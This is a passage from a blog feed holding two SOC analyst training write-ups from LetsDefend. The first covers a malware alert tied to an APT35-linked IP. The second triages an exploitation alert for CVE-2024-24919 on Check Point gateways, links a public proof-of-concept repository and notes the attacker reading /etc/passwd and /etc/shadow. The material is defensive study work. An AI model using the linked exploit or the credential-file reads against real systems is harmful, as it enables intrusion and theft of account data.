&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsp5a87hfy9ch1ckq7vtv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsp5a87hfy9ch1ckq7vtv.png" alt="logon" width="800" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the screenshot of a log stating a successful logon (EventID 4624) by the source IP 173.209.51[.]54.&lt;/p&gt;

&lt;p&gt;I look up the IP address on the Threat Intel tab and find out that it is associated with APT35 CharmingKitten (&lt;a href="https://malpedia.caad.fkie.fraunhofer.de/actor/charming_kitten" rel="noopener noreferrer"&gt;https://malpedia.caad.fkie.fraunhofer.de/actor/charming_kitten&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faeos8vs5as45otcybvca.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faeos8vs5as45otcybvca.png" alt="ip" width="800" height="378"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the IP that was contacted by the host after the program ran.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft3uqregrpv5ltei0cqpu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft3uqregrpv5ltei0cqpu.png" alt="Iporption" width="800" height="439"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This IP belongs to the malicious IP&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flh84g4kqg8td55ezoxbi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flh84g4kqg8td55ezoxbi.png" alt="raw log" width="702" height="691"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After searching for Arthur's email id (arthur@letsdefend[.]io) in Email Security, there's no traffic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foc0h4hz53ierdybgit0r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foc0h4hz53ierdybgit0r.png" alt="popop" width="800" height="355"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After checking further in Endpoint Security, we see a program MpCmdRun.exe&lt;br&gt;
which ran the command SignaturesUpdateService with the -ScheduleJob and -UnmanagedUpdate parameters. This means that the file was able to modify the signatures&lt;/p&gt;

&lt;p&gt;Let's start the playbook&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg9oxawf6jqvyzndnb4x0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg9oxawf6jqvyzndnb4x0.png" alt="verify" width="800" height="324"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flolena4suflmm5cwncyq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flolena4suflmm5cwncyq.png" alt="idrecon" width="800" height="280"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fis3jrekp94wja2s5zwc7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fis3jrekp94wja2s5zwc7.png" alt="log" width="800" height="432"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhflo6bvrjunv0xzbncjc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhflo6bvrjunv0xzbncjc.png" alt="checkalert" width="800" height="482"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz3r1h9jwjzj46uuel1zw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz3r1h9jwjzj46uuel1zw.png" alt="ans1" width="780" height="295"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fghwazvfw0pujuily3syi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fghwazvfw0pujuily3syi.png" alt="attackerip" width="800" height="294"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjdgv6xi7cxpitwm49n6y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjdgv6xi7cxpitwm49n6y.png" alt="malicious" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjqkvuuz83alnxbncfr7g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjqkvuuz83alnxbncfr7g.png" alt="morethan1" width="800" height="277"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fccluwwg6fbsje85m5smw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fccluwwg6fbsje85m5smw.png" alt="containescription" width="800" height="252"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fprf9sdjah1mzgmxsjo27.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fprf9sdjah1mzgmxsjo27.png" alt="contained" width="800" height="389"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfs3rrdavlj02nekgsn2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfs3rrdavlj02nekgsn2.png" alt="artifatsadded" width="800" height="514"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Analyst's notes:&lt;br&gt;
On December 27, 2023, at 11:22 AM, I identified an alert for suspicious behavior linked to a malicious file (hash: cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa), which VirusTotal confirmed as malicious with a score of 51. Upon investigation, I found that the file executed EmailDownloader.exe, though no associated emails were found in the email security logs. Log analysis revealed a file download at 11:21:48 on the host Arthur, where explorer.exe launched EmailDownloader.exe at 11:21:37, followed by MpCmdRun.exe running SignaturesUpdateService -ScheduleJob -UnmanagedUpdate at 11:38:10. The host was immediately contained with no further compromise, and I recommend blocking the attacker’s IP address and resetting the host’s password.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frrrc7eqrqz124ypjam6c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frrrc7eqrqz124ypjam6c.png" alt="finidh" width="800" height="233"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we finish the playbook and close the alert.&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>socanalysis</category>
      <category>cybersecurity</category>
      <category>career</category>
    </item>
    <item>
      <title>LetsDefend SOC287 - Arbitrary File Read on Checkpoint Security Gateway [CVE-2024-24919]</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Sun, 26 Apr 2026 08:03:32 +0000</pubDate>
      <link>https://zeroday.forem.com/hitanshugedam/letsdefend-soc287-arbitrary-file-read-on-checkpoint-security-gateway-cve-2024-24919-a49</link>
      <guid>https://zeroday.forem.com/hitanshugedam/letsdefend-soc287-arbitrary-file-read-on-checkpoint-security-gateway-cve-2024-24919-a49</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fopxxqgfvkmy0xszm1tsk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fopxxqgfvkmy0xszm1tsk.png" alt="take ownership" width="800" height="326"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We start with taking ownership of the alert.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbut2efc1bh77khfctg39.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbut2efc1bh77khfctg39.png" alt="ownership taken" width="776" height="568"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our next step is to create a case for starting our investigation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2kc5bq612tnpxjjyzned.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2kc5bq612tnpxjjyzned.png" alt="created case" width="776" height="562"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After we start the playbook&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4gohx9pb1azp1cdib2hf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4gohx9pb1azp1cdib2hf.png" alt="playbook1" width="800" height="464"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We need to understand why the alert was triggered&lt;/p&gt;

&lt;p&gt;We start with examining the rule name &lt;code&gt;SOC287 - Arbitrary File Read on Checkpoint Security Gateway [CVE-2024-24919]&lt;/code&gt; and using OSINT to find out more information about the reporte CVE&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3a50alf0c9g81w5c8vqv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3a50alf0c9g81w5c8vqv.png" alt="nvd" width="800" height="428"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is the screenshot of the NIST National Vulnerability database webpage about the above CVE&lt;br&gt;
link: &lt;a href="https://nvd.nist.gov/vuln/detail/cve-2024-24919" rel="noopener noreferrer"&gt;https://nvd.nist.gov/vuln/detail/cve-2024-24919&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Description of the CVE:&lt;br&gt;
Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with remote Access VPN or Mobile Access Software Blades. A Security fix that mitigates this vulnerability is available. The base score (severity) of it is 8.6 which is HIGH.&lt;/p&gt;

&lt;p&gt;From the description of the alert, we know it was "Allowed".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9eve4kczqygrfc6c3sh7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9eve4kczqygrfc6c3sh7.png" alt="collectdata" width="800" height="483"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our next step is to be collecting data to get a better understanding of the communication traffic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbmlog5a36d7jqpsqosvi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbmlog5a36d7jqpsqosvi.png" alt="intel" width="800" height="428"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Above is the screenshot of the Threat Intel tab on LetsDefend after we search for the source IP on it.&lt;/p&gt;

&lt;p&gt;This is what we get after we search for the IP and look at its reputation on VirusTotal:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faqgy3egr9due2gv8euoq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faqgy3egr9due2gv8euoq.png" alt="virustotal description" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The geolocation of the IP address is Hong Kong.&lt;br&gt;
We can now confirm the traffic is malicious and allowed, with low confidence since 2 out of 94 vendors found it malicious.&lt;/p&gt;

&lt;p&gt;Checking the IP's reputation on AbuseIPDB:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F10ypai291ntno214suin.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F10ypai291ntno214suin.png" alt="abuseipdb" width="800" height="424"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Below is what we find on Cisco Talos Intelligence:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpj3cgaktpv4965o5wkqp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpj3cgaktpv4965o5wkqp.png" alt="talosdescription" width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;link: &lt;a href="https://talosintelligence.com/reputation_center/lookup?search=203.160.68.12" rel="noopener noreferrer"&gt;https://talosintelligence.com/reputation_center/lookup?search=203.160.68.12&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next step for us is examining the HTTP traffic:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffgnndxgiz02sn1ehmrw0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffgnndxgiz02sn1ehmrw0.png" alt="httptraffic" width="800" height="538"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is a POC for the CVE exploit:&lt;br&gt;
&lt;code&gt;https://github.com/un9nplayer/CVE-2024-24919&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Let's dive in the logs now.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb9sf21nmnvku7kihj7dr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb9sf21nmnvku7kihj7dr.png" alt="log1" width="800" height="305"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looks like our attacker is attempting to navigate the file system of a server to access sensitive files like /etc/passwd and /etc/shadow on Unix-based systems, which contains user account information.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fraqpugdnvus9qbnf6y6y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fraqpugdnvus9qbnf6y6y.png" alt="lfi" width="800" height="334"&gt;&lt;/a&gt;&lt;br&gt;
Answer: LFI &amp;amp; RFI&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fln7n39rb816jwp92ubmv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fln7n39rb816jwp92ubmv.png" alt="plan" width="800" height="494"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we have to check if it is a planned test. &lt;br&gt;
After checking the Email Security tab and searching for the IP addresses and the hostname, we see no such mail regarding a notification of any planned test. We can conclude it is NOT a planned test.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw2cd2shpr9ywfix9czxe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw2cd2shpr9ywfix9czxe.png" alt="intetonetwork" width="800" height="376"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We saw the source IP is an external IP from Hong Kong.&lt;br&gt;
so the traffic is moving from Internet -&amp;gt; Company Network&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ficc0114t1i15ixelsu98.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ficc0114t1i15ixelsu98.png" alt="checkifsuccefful" width="800" height="655"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The attack was successful.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fss47r5681f37lp7l6s09.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fss47r5681f37lp7l6s09.png" alt="containment" width="800" height="548"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next step for us is to contain the host.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fomggexftrvswcgbqoafu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fomggexftrvswcgbqoafu.png" alt="contained" width="800" height="423"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Based on what we have uncovered during our investigation it would be wise for us to contain this server endpoint to prevent further damages.&lt;/p&gt;

&lt;p&gt;Add artifacts:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F18ur7mn5ufcrq2g0wlxl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F18ur7mn5ufcrq2g0wlxl.png" alt="artifacts" width="800" height="606"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2zx453mudta0r9fn2yiy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2zx453mudta0r9fn2yiy.png" alt="escalate" width="800" height="585"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here in this case we need Tier 2 escalation&lt;/p&gt;

&lt;p&gt;After adding Analyst's notes we finish the playbook and close the alert. &lt;/p&gt;

</description>
